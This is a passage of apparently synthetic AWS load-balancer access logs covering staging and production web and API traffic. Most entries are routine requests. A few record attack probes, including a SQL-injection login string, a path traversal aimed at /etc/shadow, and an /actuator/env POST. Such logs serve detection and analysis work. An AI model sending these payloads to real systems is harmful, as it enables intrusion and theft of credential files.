2024-11-01T01:01:34.121631Z "forward" "-" "-" "10.0.35.146:443" "200" "-" "-" -http 2024-11-01T01:01:36.001418Z staging-alb 223.151.26.118:38229 189.41.167.56:8080 0.123815 0.733454 0.000080 200 200 576 2807 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c600-5fdde0051f9046118ad861b3" "staging-alb.example.com" "-" 5 2024-11-01T01:01:36.001418Z "forward" "-" "-" "189.41.167.56:8080" "200" "-" "-" -https 2024-11-01T01:01:37.134692Z prod-web-alb 227.125.106.219:41866 10.0.103.97:443 0.042116 0.366555 0.061611 200 200 9 2815 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c601-9f9f1eb35fe649b1b652e741" "prod-web-alb.example.com" "-" 0 2024-11-01T01:01:37.134692Z "forward" "-" "-" "10.0.103.97:443" "200" "-" "-" -https 2024-11-01T01:01:38.098571Z prod-api-alb 253.52.117.239:48112 10.0.118.115:443 0.036157 0.182745 0.036819 301 301 283 10821 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c602-0484b73fdd674e5c96751b10" "prod-api-alb.example.com" "-" 5 2024-11-01T01:01:38.098571Z "forward" "-" "-" "10.0.118.115:443" "301" "-" "-" -https 2024-11-01T01:01:39.791252Z prod-api-alb 162.205.132.25:29320 10.0.180.243:443 0.094371 0.433331 0.049465 302 302 517 695 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c603-32aed57c85ea42fcb0d5fe0b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:01:39.791252Z "forward" "-" "-" "10.0.180.243:443" "302" "-" "-" -https 2024-11-01T01:01:41.524878Z prod-web-alb 104.0.106.234:33546 10.0.190.62:443 0.008192 0.112031 0.049590 200 200 190 4161 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c605-967c3df867d64598b18fa1ee" "prod-web-alb.example.com" "-" 1 2024-11-01T01:01:41.524878Z "forward" "-" "-" "10.0.190.62:443" "200" "-" "-" -https 2024-11-01T01:01:42.937663Z prod-api-alb 193.27.228.121:41353 10.0.147.72:443 0.054522 0.116752 0.049487 500 500 684 8707 "POST /actuator/env HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c606-7f4fc021b02649208a33c988" "-" "-" 6 2024-11-01T01:01:42.937663Z "forward" "-" "-" "10.0.147.72:443" "500" "-" "-" -https 2024-11-01T01:01:43.175992Z staging-alb 232.249.155.36:34648 160.64.210.216:8080 0.022167 0.445260 0.044739 302 302 598 4822 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c607-b69356ef8bd44a4a91d7d06d" "staging-alb.example.com" "-" 6 2024-11-01T01:01:43.175992Z "forward" "-" "-" "160.64.210.216:8080" "302" "-" "-" -https 2024-11-01T01:01:44.953331Z prod-web-alb 37.96.192.81:42068 10.0.5.125:443 0.060492 0.261666 0.071505 301 301 819 2708 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c608-5bdf8c5504e945c0a9e56139" "prod-web-alb.example.com" "-" 1 2024-11-01T01:01:44.953331Z "forward" "-" "-" "10.0.5.125:443" "301" "-" "-" -https 2024-11-01T01:01:45.064474Z prod-web-alb 94.228.137.111:50144 10.0.70.197:443 0.071396 0.394847 0.020107 302 302 527 8432 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c609-1abe6bc53a7f48c490a2fa6c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:01:45.064474Z "forward" "-" "-" "10.0.70.197:443" "302" "-" "-" -https 2024-11-01T01:01:46.590943Z prod-api-alb 219.185.166.72:47529 10.0.170.136:443 0.068387 0.277818 0.050166 200 200 183 8829 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c60a-198d07fd2dc94b108a507187" "prod-api-alb.example.com" "-" 6 2024-11-01T01:01:46.590943Z "forward" "-" "-" "10.0.170.136:443" "200" "-" "-" -http 2024-11-01T01:01:46.736448Z staging-alb 139.209.24.214:48636 45.246.112.93:443 0.120693 0.285674 0.066837 404 404 264 8106 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c60a-daa0c3bd2e414ac7a665edf1" "staging-alb.example.com" "-" 8 2024-11-01T01:01:46.736448Z "forward" "-" "-" "45.246.112.93:443" "404" "-" "-" -http 2024-11-01T01:01:47.360326Z staging-alb 185.181.39.39:36627 39.94.150.11:80 0.049594 0.690381 0.114079 403 403 164 9299 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c60b-89333a16fecb469e983714f9" "-" "-" 9 2024-11-01T01:01:47.360326Z "forward" "-" "-" "39.94.150.11:80" "403" "-" "-" -https 2024-11-01T01:01:47.679037Z prod-api-alb 149.171.149.13:47711 10.0.216.146:443 0.085881 0.437536 0.035722 200 200 327 3475 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c60b-52c9a42e407a4b7981a7375e" "prod-api-alb.example.com" "-" 10 2024-11-01T01:01:47.679037Z "forward" "-" "-" "10.0.216.146:443" "200" "-" "-" -https 2024-11-01T01:01:49.447619Z prod-web-alb 45.155.205.47:59736 10.0.212.129:443 0.094790 0.431625 0.078345 302 302 756 685 "POST /administrator HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c60d-f49fa343cd154bc49d2d3215" "-" "-" 5 2024-11-01T01:01:49.447619Z "forward" "-" "-" "10.0.212.129:443" "302" "-" "-" -https 2024-11-01T01:01:50.945701Z prod-api-alb 18.49.228.127:56731 10.0.77.108:443 0.020810 0.227389 0.082079 200 200 694 7881 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c60e-6e6192ff56a440d0b5a508e8" "prod-api-alb.example.com" "-" 5 2024-11-01T01:01:50.945701Z "forward" "-" "-" "10.0.77.108:443" "200" "-" "-" -http 2024-11-01T01:01:52.133621Z staging-alb 83.248.10.37:61345 149.59.107.38:443 0.043607 0.027407 0.054307 200 200 676 8672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c610-a42bd6871ff64854babb6cdd" "staging-alb.example.com" "-" 1 2024-11-01T01:01:52.133621Z "forward" "-" "-" "149.59.107.38:443" "200" "-" "-" -https 2024-11-01T01:01:53.941892Z prod-api-alb 202.144.199.124:31383 10.0.12.45:443 0.037657 0.190021 0.087439 200 200 338 9163 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c611-e0be653d2c9c439288915c7c" "-" "-" 4 2024-11-01T01:01:53.941892Z "forward" "-" "-" "10.0.12.45:443" "200" "-" "-" -https 2024-11-01T01:01:54.589031Z staging-alb 154.119.56.16:36946 115.55.226.181:443 0.010322 0.590586 0.015377 200 200 230 465 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c612-43bfed60f0f746bc88ee533b" "staging-alb.example.com" "-" 2 2024-11-01T01:01:54.589031Z "forward" "-" "-" "115.55.226.181:443" "200" "-" "-" -https 2024-11-01T01:01:56.030660Z prod-api-alb 188.241.189.55:43627 10.0.171.20:443 0.029794 0.264431 0.052133 302 302 39 3857 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c614-1093275587604abb9cb04121" "prod-api-alb.example.com" "-" 7 2024-11-01T01:01:56.030660Z "forward" "-" "-" "10.0.171.20:443" "302" "-" "-" -https 2024-11-01T01:01:57.896555Z prod-web-alb 128.79.197.133:14284 10.0.69.138:443 0.083424 0.206991 0.037935 200 200 979 5682 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c615-50455a5397dd4f39a89648b6" "-" "-" 0 2024-11-01T01:01:57.896555Z "forward" "-" "-" "10.0.69.138:443" "200" "-" "-" -https 2024-11-01T01:01:58.244289Z staging-alb 196.158.139.145:61458 231.227.129.0:80 0.004132 0.501864 0.057633 302 302 404 1326 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c616-7cdcaf14313a46cc923e1f76" "staging-alb.example.com" "-" 6 2024-11-01T01:01:58.244289Z "forward" "-" "-" "231.227.129.0:80" "302" "-" "-" -https 2024-11-01T01:01:59.372169Z prod-api-alb 178.36.115.52:64453 10.0.51.69:443 0.002255 0.263947 0.097254 302 302 702 9397 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c617-7700f8f8ea3d4987891c02ea" "prod-api-alb.example.com" "-" 6 2024-11-01T01:01:59.372169Z "forward" "-" "-" "10.0.51.69:443" "302" "-" "-" -https 2024-11-01T01:02:00.869515Z prod-api-alb 68.131.183.179:23856 10.0.59.83:443 0.026528 0.247533 0.093236 302 302 636 8541 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c618-dfc42f36b9444185971659d3" "prod-api-alb.example.com" "-" 4 2024-11-01T01:02:00.869515Z "forward" "-" "-" "10.0.59.83:443" "302" "-" "-" -https 2024-11-01T01:02:02.090868Z prod-api-alb 35.15.120.55:27545 10.0.33.187:443 0.039518 0.206757 0.074265 404 404 163 6784 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c61a-c7e2bb05d5d544b5b7f63b3c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:02:02.090868Z "forward" "-" "-" "10.0.33.187:443" "404" "-" "-" -https 2024-11-01T01:02:03.827949Z staging-alb 149.89.148.76:17638 179.173.67.28:8080 0.035340 0.656486 0.103507 200 200 162 7893 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c61b-2aa972bba6394bef82db447a" "staging-alb.example.com" "-" 2 2024-11-01T01:02:03.827949Z "forward" "-" "-" "179.173.67.28:8080" "200" "-" "-" -http 2024-11-01T01:02:04.366377Z staging-alb 180.58.63.208:37426 249.199.92.19:80 0.121486 0.491934 0.015992 302 302 467 7067 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c61c-1d3f42e4dfac459c9d51a1ec" "staging-alb.example.com" "-" 3 2024-11-01T01:02:04.366377Z "forward" "-" "-" "249.199.92.19:80" "302" "-" "-" -https 2024-11-01T01:02:04.730095Z staging-alb 175.182.8.87:29293 113.210.113.4:8080 0.149828 0.456271 0.132964 200 200 143 13559 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c61c-9386c36745eb45a8a3dfdbdc" "staging-alb.example.com" "-" 9 2024-11-01T01:02:04.730095Z "forward" "-" "-" "113.210.113.4:8080" "200" "-" "-" -https 2024-11-01T01:02:05.465396Z prod-web-alb 39.253.110.178:53596 10.0.81.86:443 0.015055 0.145925 0.095091 404 404 813 14810 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c61d-75b0eb307f1b4d679bb4ed53" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:05.465396Z "forward" "-" "-" "10.0.81.86:443" "404" "-" "-" -https 2024-11-01T01:02:05.579286Z prod-api-alb 0.119.228.219:63142 10.0.244.95:443 0.021202 0.003281 0.088137 200 200 894 10017 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c61d-c102ac130ae24b5da0177e24" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:05.579286Z "forward" "-" "-" "10.0.244.95:443" "200" "-" "-" -https 2024-11-01T01:02:06.947658Z prod-web-alb 99.163.56.50:11944 10.0.131.74:443 0.071330 0.437458 0.067620 200 200 427 3773 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c61e-4e2c8016fa424a14bdf17efb" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:06.947658Z "forward" "-" "-" "10.0.131.74:443" "200" "-" "-" -https 2024-11-01T01:02:08.824308Z staging-alb 45.155.205.144:62746 92.155.104.120:443 0.105642 0.575187 0.043056 404 404 937 14338 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c620-e7de70adbc1041fba93bdbcc" "-" "-" 7 2024-11-01T01:02:08.824308Z "forward" "-" "-" "92.155.104.120:443" "404" "-" "-" -https 2024-11-01T01:02:09.354177Z prod-api-alb 67.128.104.104:54174 10.0.66.138:443 0.069815 0.271023 0.004051 301 301 940 3969 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c621-4887643a976d4ab3b46126c1" "prod-api-alb.example.com" "-" 5 2024-11-01T01:02:09.354177Z "forward" "-" "-" "10.0.66.138:443" "301" "-" "-" -https 2024-11-01T01:02:10.054543Z prod-api-alb 207.204.45.72:62441 10.0.111.19:443 0.097754 0.097742 0.063543 301 301 29 1763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c622-5d3f4dc75ed7483480200627" "prod-api-alb.example.com" "-" 8 2024-11-01T01:02:10.054543Z "forward" "-" "-" "10.0.111.19:443" "301" "-" "-" -https 2024-11-01T01:02:11.521671Z prod-api-alb 5.174.97.52:40022 10.0.221.174:443 0.085362 0.396595 0.000785 302 302 637 946 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c623-66dd68dd516f470fab6f2b90" "prod-api-alb.example.com" "-" 0 2024-11-01T01:02:11.521671Z "forward" "-" "-" "10.0.221.174:443" "302" "-" "-" -https 2024-11-01T01:02:12.570597Z prod-web-alb 121.106.195.188:57512 10.0.213.60:443 0.073442 0.265079 0.023673 302 302 1 4347 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c624-3480a7581d5f4eb5bd1d8d51" "prod-web-alb.example.com" "-" 7 2024-11-01T01:02:12.570597Z "forward" "-" "-" "10.0.213.60:443" "302" "-" "-" -https 2024-11-01T01:02:13.842338Z prod-api-alb 183.93.17.103:15879 10.0.52.125:443 0.008013 0.148296 0.000167 404 404 355 598 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c625-1b5a6a9cd0ed487f8748a176" "prod-api-alb.example.com" "-" 7 2024-11-01T01:02:13.842338Z "forward" "-" "-" "10.0.52.125:443" "404" "-" "-" -https 2024-11-01T01:02:15.394097Z prod-api-alb 170.78.233.152:18172 10.0.220.114:443 0.017008 0.198539 0.026106 200 200 97 14170 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c627-da99786326e04f7280dc3c3a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:02:15.394097Z "forward" "-" "-" "10.0.220.114:443" "200" "-" "-" -https 2024-11-01T01:02:17.192177Z prod-api-alb 69.241.3.36:25641 10.0.187.177:443 0.030879 0.114445 0.003595 301 301 493 9257 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c629-97383671cfe1415e8e8baf36" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:17.192177Z "forward" "-" "-" "10.0.187.177:443" "301" "-" "-" -https 2024-11-01T01:02:18.962070Z staging-alb 109.49.218.95:14285 185.193.126.129:443 0.021789 0.169419 0.106220 404 404 638 10317 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c62a-a3f915fbe9d541b3bbe4b88d" "staging-alb.example.com" "-" 4 2024-11-01T01:02:18.962070Z "forward" "-" "-" "185.193.126.129:443" "404" "-" "-" -https 2024-11-01T01:02:19.895767Z staging-alb 151.99.23.83:58311 39.21.175.38:80 0.010429 0.206060 0.054973 200 200 277 3854 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c62b-4b6d58977252405d889914af" "staging-alb.example.com" "-" 3 2024-11-01T01:02:19.895767Z "forward" "-" "-" "39.21.175.38:80" "200" "-" "-" -https 2024-11-01T01:02:20.075895Z prod-web-alb 105.136.138.198:41866 10.0.123.157:443 0.022234 0.340335 0.037896 302 302 485 9598 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c62c-c87afb065e9746248feda9a0" "prod-web-alb.example.com" "-" 2 2024-11-01T01:02:20.075895Z "forward" "-" "-" "10.0.123.157:443" "302" "-" "-" -https 2024-11-01T01:02:20.314991Z prod-api-alb 211.91.232.117:45668 10.0.107.241:443 0.008189 0.146382 0.077798 301 301 187 9200 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c62c-7623cddf23f345c7aa6d7044" "prod-api-alb.example.com" "-" 10 2024-11-01T01:02:20.314991Z "forward" "-" "-" "10.0.107.241:443" "301" "-" "-" -https 2024-11-01T01:02:21.520385Z staging-alb 151.37.24.154:52099 4.2.48.246:80 0.092098 0.147716 0.129728 302 302 763 8389 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c62d-f6f5f7aac7df4a1a9056cbdf" "staging-alb.example.com" "-" 10 2024-11-01T01:02:21.520385Z "forward" "-" "-" "4.2.48.246:80" "302" "-" "-" -https 2024-11-01T01:02:23.016184Z prod-web-alb 34.235.204.188:59726 10.0.163.122:443 0.070471 0.104650 0.077330 200 200 101 384 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c62f-f71058a2ff6b4d2887661a17" "prod-web-alb.example.com" "-" 3 2024-11-01T01:02:23.016184Z "forward" "-" "-" "10.0.163.122:443" "200" "-" "-" -https 2024-11-01T01:02:24.037160Z prod-web-alb 158.21.55.73:29273 10.0.142.254:443 0.055338 0.323735 0.047844 200 200 783 3891 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c630-e3fc2c80fa714d4d948ca6ab" "prod-web-alb.example.com" "-" 2 2024-11-01T01:02:24.037160Z "forward" "-" "-" "10.0.142.254:443" "200" "-" "-" -https 2024-11-01T01:02:25.680158Z prod-api-alb 90.231.218.177:25103 10.0.38.49:443 0.065134 0.061576 0.056330 200 200 424 11944 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c631-42ff73450275400d924a8fca" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:25.680158Z "forward" "-" "-" "10.0.38.49:443" "200" "-" "-" -https 2024-11-01T01:02:27.522310Z prod-web-alb 27.101.1.145:27614 10.0.141.26:443 0.098114 0.259782 0.006354 301 301 946 2206 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c633-86498bb790aa445ab6627b5c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:02:27.522310Z "forward" "-" "-" "10.0.141.26:443" "301" "-" "-" -https 2024-11-01T01:02:28.567359Z prod-api-alb 213.46.150.171:33006 10.0.72.17:443 0.094230 0.196510 0.099853 200 200 812 5869 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c634-5663b61a61704d49b588ce3a" "prod-api-alb.example.com" "-" 5 2024-11-01T01:02:28.567359Z "forward" "-" "-" "10.0.72.17:443" "200" "-" "-" -https 2024-11-01T01:02:29.268178Z prod-api-alb 33.117.6.182:24395 10.0.243.106:443 0.053179 0.112155 0.022950 200 200 744 2851 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) 